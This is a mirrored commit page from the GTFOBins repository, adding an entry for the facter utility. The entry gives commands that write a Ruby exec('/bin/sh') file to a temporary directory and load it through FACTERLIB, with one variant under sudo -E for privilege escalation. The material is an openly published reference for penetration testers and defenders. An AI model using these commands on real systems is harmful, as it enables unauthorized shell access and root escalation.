mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
d5f546b67d
commit
aab8e783ec
13
_gtfobins/facter.md
Normal file
13
_gtfobins/facter.md
Normal file
@ -0,0 +1,13 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'exec("/bin/sh")' > $TF/x.rb
|
||||
FACTERLIB=$TF facter
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'exec("/bin/sh")' > $TF/x.rb
|
||||
FACTERLIB=$TF sudo -E facter
|
||||
---
|
Loading…
Reference in New Issue
Block a user